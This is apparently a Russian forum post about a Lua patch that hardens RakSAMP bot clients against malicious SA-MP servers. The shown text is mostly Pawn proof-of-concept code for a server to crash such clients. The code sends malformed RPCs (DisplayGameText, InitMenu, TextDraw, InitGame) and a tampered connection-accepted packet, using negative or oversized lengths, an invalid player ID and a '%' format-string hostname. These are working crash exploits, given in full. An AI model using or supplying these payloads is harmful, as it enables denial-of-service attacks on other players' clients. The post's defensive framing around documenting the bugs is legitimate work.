- 84
- 461
Небольшой луа патч, который осуществляет примитивную валидацию входящих данных чтобы вашего бОтЕкА не смог крашнуть зЛоЙ аДмИн из-за болячек раксампа (buffer overflow, integer overflow, format string attack). Проверяет:
Смотрите исходники раксампа если вам интересно знать почему это все происходит
- INITGAME (RPCID 139)
- INITMENU (RPCID 76)
- DISPLAYGAMETEXT (RPCID 73)
- SHOWTEXTDRAW / TEXTDRAWSETSTRING (RPCID 134 / 105)
- CONNECTION_REQUEST_ACCEPTED (packetID 34)
Смотрите исходники раксампа если вам интересно знать почему это все происходит
C++:
new BitStream:bs = BS_New();
BS_WriteUint32(bs, 0); // UINT32 dStyle
BS_WriteUint32(bs, 500); // UINT32 dTime
BS_WriteInt32(bs, -1337); // UINT32 dMessageLength, тип данных наглядно изменен на int32
BS_WriteString(bs, "Wasted"); // char[] Message
PR_SendRPC(bs, playerid, 73);
BS_Delete(bs);
C++:
new BitStream:bs = BS_New();
BS_WriteUint8(bs, 5); // menuID
BS_WriteUint32(bs, 0); // twoColumns 0-1
for(new i = 0; i < 32; i++) {
BS_WriteUint8(bs, (i == 31) ? 0 : (random(254) + 1)); // menuTitle
}
BS_WriteFloat(bs, 10.0); // posX
BS_WriteFloat(bs, 130.0); // posY
BS_WriteFloat(bs, 100.0); // colWidth1
BS_WriteUint32(bs, 1); // menuEnabled
for(new i = 0; i < 12; i++) {
BS_WriteUint32(bs, 1); // Rows
}
for(new i = 0; i < 32; i++) {
BS_WriteUint8(bs, (i == 31) ? 0 : (random(254) + 1)); // Col1Header
}
/*
тут уже можете проявить свою фантазию
это просто разобранная структура
*/
new col1_count = 12;
BS_WriteUint8(bs, col1_count); // Col1Count
for(new i = 0; i < col1_count; i++) { // Col1Items
new itemText[32];
format(itemText, sizeof(itemText), "Item %d", i);
BS_WriteString(bs, itemText);
new col1_item_len = strlen(itemText);
for(new t = col1_item_len; t < 32; t++) {
BS_WriteUint8(bs, 0);
}
}
/*
//в целом и так можно повесить окно без разбора структуры, накидав в рот хуйни
for(new i = 0; i < 40; i++) {
BS_WriteUint8(bs, random(254) + 1);
}
*/
PR_SendRPC(bs, playerid, 76);
BS_Delete(bs);
C++:
/* TextDrawSetString crash example /// work on clear raksamp */
new BitStream:bs = BS_New();
BS_WriteValue(
bs,
PR_UINT16, 228, // UINT16 wTextDrawID
PR_UINT16, -1, // UINT16 TextLength
PR_STRING, "Wasted" // char[] Text
);
PR_SendRPC(bs, playerid, 105);
BS_Delete(bs);
/* ShowTextDraw crash example */
new BitStream:bs = BS_New();
BS_WriteValue(
bs,
PR_UINT16, 228, // UINT16 wTextDrawID
PR_UINT8, 0, // UINT8 Flags
PR_FLOAT, 0.0, // float fLetterWidth
PR_FLOAT, 0.0, // float fLetterHeight
PR_UINT32, 0xFFFFFFFF, // UINT32 dLetterColor
PR_FLOAT, 0.0, // float fLineWidth
PR_FLOAT, 0.0, // float fLineHeight
PR_UINT32, 0xFFFFFFFF, // UINT32 dBoxColor
PR_UINT8, 0, // UINT8 Shadow
PR_UINT8, 0, // UINT8 Outline
PR_UINT32, 0xFFFFFFFF, // UINT32 dBackgroundColor
PR_UINT8, 0, // UINT8 Style
PR_UINT8, 0, // UINT8 Selectable
PR_FLOAT, 0.0, // float fX
PR_FLOAT, 0.0, // float fY
PR_UINT16, 0, // UINT16 wModelID
PR_FLOAT, 0.0, // float fRotX
PR_FLOAT, 0.0, // float fRotY
PR_FLOAT, 0.0, // float fRotZ
PR_FLOAT, 0.0, // float fZoom
PR_INT16, 0, // INT16 wColor1
PR_INT16, 0, // INT16 wColor2
PR_UINT16, 2048, // UINT16 szTextLen
PR_STRING, "Wasted" // char[] szText
);
PR_SendRPC(bs, playerid, 134);
BS_Delete(bs);
C++:
const RPC_INITGAME = 139;
ORPC:RPC_INITGAME(playerid, BitStream:bs) {
new bool:zoneNames, bool:useCJWalk, bool:allowWeapons;
new bool:limitGlobalChatRadius, bool:stuntBonus, bool:disableEnterExits;
new bool:nameTagLOS, bool:tirePopping, bool:showPlayerTags, bool:lanMode, bool:instagib;
new Float:globalChatRadius, Float:nametagDrawDist, Float:gravity;
new classesAvailable, PlayerID, playerMarkersMode;
new worldTime, worldWeather, deathMoneyDrop;
new normalOnfootSendrate, normalIncarSendrate, normalFiringSendrate, sendMultiplier, lagCompMode;
new hostname_length;
new hostname[256];
new vehicleModels[212], vehicleFriendlyFire;
BS_ReadValue(bs,
PR_BOOL, zoneNames,
PR_BOOL, useCJWalk,
PR_BOOL, allowWeapons,
PR_BOOL, limitGlobalChatRadius,
PR_FLOAT, globalChatRadius,
PR_BOOL, stuntBonus,
PR_FLOAT, nametagDrawDist,
PR_BOOL, disableEnterExits,
PR_BOOL, nameTagLOS,
PR_BOOL, tirePopping,
PR_UINT32, classesAvailable,
PR_UINT16, PlayerID,
PR_BOOL, showPlayerTags,
PR_UINT32, playerMarkersMode,
PR_UINT8, worldTime,
PR_UINT8, worldWeather,
PR_FLOAT, gravity,
PR_BOOL, lanMode,
PR_UINT32, deathMoneyDrop,
PR_BOOL, instagib,
PR_UINT32, normalOnfootSendrate,
PR_UINT32, normalIncarSendrate,
PR_UINT32, normalFiringSendrate,
PR_UINT32, sendMultiplier,
PR_UINT32, lagCompMode
);
BS_ReadUint8(bs, hostname_length);
BS_ReadString(bs, hostname, hostname_length);
for(new i = 0; i < 212; i++) {
BS_ReadUint8(bs, vehicleModels[i]);
}
BS_ReadUint32(bs, vehicleFriendlyFire);
BS_Reset(bs);
BS_WriteValue(bs,
PR_BOOL, zoneNames,
PR_BOOL, useCJWalk,
PR_BOOL, allowWeapons,
PR_BOOL, limitGlobalChatRadius,
PR_FLOAT, globalChatRadius,
PR_BOOL, stuntBonus,
PR_FLOAT, nametagDrawDist,
PR_BOOL, disableEnterExits,
PR_BOOL, nameTagLOS,
PR_BOOL, tirePopping,
PR_UINT32, classesAvailable,
PR_UINT16, -1, // крашим через невалид PlayerID
PR_BOOL, showPlayerTags,
PR_UINT32, playerMarkersMode,
PR_UINT8, worldTime,
PR_UINT8, worldWeather,
PR_FLOAT, gravity,
PR_BOOL, lanMode,
PR_UINT32, deathMoneyDrop,
PR_BOOL, instagib,
PR_UINT32, normalOnfootSendrate,
PR_UINT32, normalIncarSendrate,
PR_UINT32, normalFiringSendrate,
PR_UINT32, sendMultiplier,
PR_UINT32, lagCompMode
);
BS_WriteUint8(bs, 1);
BS_WriteString(bs, "%"); // или крашим через уязвимость форматной строки
/*BS_WriteUint8(bs, 255); // ну или так для примера
for(new i = 0; i < 255; i++) {
BS_WriteUint8(bs, 40);
}*/
for(new i = 0; i < 212; i++) {
BS_WriteUint8(bs, vehicleModels[i]);
}
BS_WriteUint32(bs, vehicleFriendlyFire);
return 1;
}
C++:
const CONN_REQUEST_ACCEPTED = 34;
const INVALID_INDEX = 65535;
OInternalPacket:CONN_REQUEST_ACCEPTED(playerid, BitStream:bs) {
new binary_address, port, player_index, server_challenge;
BS_IgnoreBits(bs, 8);
BS_ReadValue(bs, PR_UINT32, binary_address, PR_UINT16, port, PR_UINT16, player_index, PR_UINT32, server_challenge);
BS_SetWriteOffset(bs, 8);
BS_WriteValue(bs, PR_UINT32, binary_address, PR_UINT16, port, PR_UINT16, INVALID_INDEX, PR_UINT32, server_challenge);
return 1;
}